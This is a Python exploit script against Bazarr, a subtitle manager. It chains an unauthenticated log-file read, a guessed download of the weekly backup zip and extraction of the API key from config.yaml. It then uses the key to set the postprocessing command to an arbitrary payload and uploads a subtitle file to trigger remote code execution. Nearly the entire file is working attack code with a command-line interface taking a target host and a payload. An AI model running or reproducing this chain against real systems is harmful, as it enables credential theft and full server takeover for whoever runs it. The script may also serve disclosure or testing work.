import argparse
import io
import datetime
import logging
import yaml
import zipfile

from urllib.parse import urljoin

import requests

logger = logging.getLogger()

session = requests.Session()
session.verify = False


def check_logfile(host):
    try:
        logpath = urljoin(host, "/bazarr.log")
        r = session.get(logpath)
        r.raise_for_status()
        with open("bazarr.log", "w") as f:
            f.write(r.text)
        logger.info("Host is vulnerable to auth bypass")
    except:
        logger.exception("Auth bypass seemed to fail to get log file")
        raise

def lastsunday():
    # The default backup schedule is
    # day 6, hour 3, weekly
    # so files like bazarr_backup_v1.5.6_2026.04.12_03.00.00.zip
    today = datetime.date.today()
    sunday = today - (datetime.timedelta(days=(today.weekday() + 1 ) % 7))
    return sunday.isoformat().replace('-','.')

def rce(host, apikey, payload):
    # the plan
    # first set the post processing command to your shell payload
    # POST /api/system/settings
    #------geckoformboundaryf54da7c17654559b1623140cda8d7fc4
    #Content-Disposition: form-data; name="settings-general-use_postprocessing"
    #
    #true
    #------geckoformboundaryf54da7c17654559b1623140cda8d7fc4
    #Content-Disposition: form-data; name="settings-general-postprocessing_cmd"
    #
    #touch /tmp/win
    #------geckoformboundaryf54da7c17654559b1623140cda8d7fc4--
    # Now, whenever something is downloaded successfully, it'll run the payload
    # we could wait, or we could force it along a bit by uploading some

    # So we'll query for a movie to get it's radarrId
    # GET /api/movies?start=0&length=1
    # TODO fallback to an episode if there are no movies /api/series then api/episode
    # get the .radarrId
    # POST /api/movies/subtitles?radarrid=<radarrId>&language=en&forced=false&hi=false
    # form-data for a file, filename=...srt, data=...

    # So as long as there exists at least one movie entry, we can get to full RCE from the apikey
    # (as the user bazarr runs as)
    headers = {
        "X-API-KEY": apikey
    }
    data = {"settings-general-use_postprocessing": (None, "true"),
            "settings-general-postprocessing_cmd": (None, payload)
    }
    resp = session.post(urljoin(host, "/api/system/settings"), headers=headers, files=data)
    resp.raise_for_status()

    # TODO if there are no movies, check for an episode?
    resp = session.get(urljoin(host, "/api/movies?start=0&length=1"), headers=headers)
    resp.raise_for_status()
    entry = resp.json()["data"][0]
    print(f"found a movie entry with radarrId {entry['radarrId']}")

    params = {
        "radarrid": entry['radarrId'],
        "language": "en",
        "forced": "false",
        "hi": "false"
    }
    # need to upload a real srt file
    data = {"file": ("example.srt", """1
00:00:00,000 --> 00:00:02,500
Welcome to the Example Subtitle File!""")}
    resp = session.post(urljoin(host, "/api/movies/subtitles"), params=params, headers=headers, files=data)
    resp.raise_for_status()
    print("Subtitles were pushed, postprocessing should be running")
    # known failure case, if it fails to save the subs (EPERM) postprocessing doesn't run

def exploit(host, payload):
    resp = session.get(urljoin(host, "/api/swagger.json"))
    resp.raise_for_status()
    appinfo = resp.json()["info"]
    print(f"Bazarr version info {appinfo}")

    # just use this to validate that the bypass still works
    check_logfile(host)

    backup_filename = f"bazarr_backup_v{appinfo['version']}_{lastsunday()}_03.00.00.zip"

    logpath = urljoin(host, f"/system/backup/download/{backup_filename}")
    r = session.get(logpath)
    r.raise_for_status()
    with zipfile.ZipFile(io.BytesIO(r.content)) as z:
        z.extractall("backup")
        config = yaml.safe_load(z.open('config.yaml'))

    print(f"API key is {config['auth']['apikey']}")

    print("trying for RCE")
    rce(host, config['auth']['apikey'], payload)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True)
    parser.add_argument("--verbose", "-v", action='store_true')
    parser.add_argument("--payload")
    args = parser.parse_args()
    logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO)
    exploit(args.host, args.payload)